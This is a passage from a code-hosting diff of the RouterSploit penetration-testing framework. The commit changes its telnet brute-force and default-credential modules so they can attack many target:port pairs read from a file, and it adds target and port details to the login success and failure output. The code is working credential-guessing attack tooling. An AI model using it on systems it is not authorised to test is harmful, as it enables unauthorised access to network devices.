module_verbosity
)
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/telnet_bruteforce.py
View file @
43490edd
...
@@ -11,6 +11,7 @@ from routersploit import (
...
@@ -11,6 +11,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -24,7 +25,7 @@ class Exploit(exploits.Exploit):
...
@@ -24,7 +25,7 @@ class Exploit(exploits.Exploit):
'author'
:
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
# routersploit module
'author'
:
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
# routersploit module
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
target
=
exploits
.
Option
(
''
,
'Target IP address
or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
23
,
'Target port'
)
port
=
exploits
.
Option
(
23
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
...
@@ -36,7 +37,10 @@ class Exploit(exploits.Exploit):
...
@@ -36,7 +37,10 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
tn
.
expect
([
"login: "
,
"Login: "
],
5
)
tn
.
expect
([
"login: "
,
"Login: "
],
5
)
...
@@ -60,7 +64,7 @@ class Exploit(exploits.Exploit):
...
@@ -60,7 +64,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -93,12 +97,12 @@ class Exploit(exploits.Exploit):
...
@@ -93,12 +97,12 @@ class Exploit(exploits.Exploit):
tn
.
close
()
tn
.
close
()
if
i
!=
-
1
:
if
i
!=
-
1
:
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
tn
.
close
()
tn
.
close
()
break
break
except
EOFError
:
except
EOFError
:
...
...
routersploit/modules/creds/telnet_default.py
View file @
43490edd
...
@@ -10,6 +10,7 @@ from routersploit import (
...
@@ -10,6 +10,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -25,7 +26,7 @@ class Exploit(exploits.Exploit):
...
@@ -25,7 +26,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
target
=
exploits
.
Option
(
''
,
'Target IP address
or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
23
,
'Target port'
)
port
=
exploits
.
Option
(
23
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
...
@@ -36,7 +37,10 @@ class Exploit(exploits.Exploit):
...
@@ -36,7 +37,10 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
tn
.
expect
([
"login: "
,
"Login: "
],
5
)
tn
.
expect
([
"login: "
,
"Login: "
],
5
)
...
@@ -55,7 +59,7 @@ class Exploit(exploits.Exploit):
...
@@ -55,7 +59,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -87,12 +91,12 @@ class Exploit(exploits.Exploit):
...
@@ -87,12 +91,12 @@ class Exploit(exploits.Exploit):
tn
.
close
()
tn
.
close
()
if
i
!=
-
1
:
if
i
!=
-
1
:
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
tn
.
close
()
tn
.
close
()
break
break
except
EOFError
:
except
EOFError
:
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment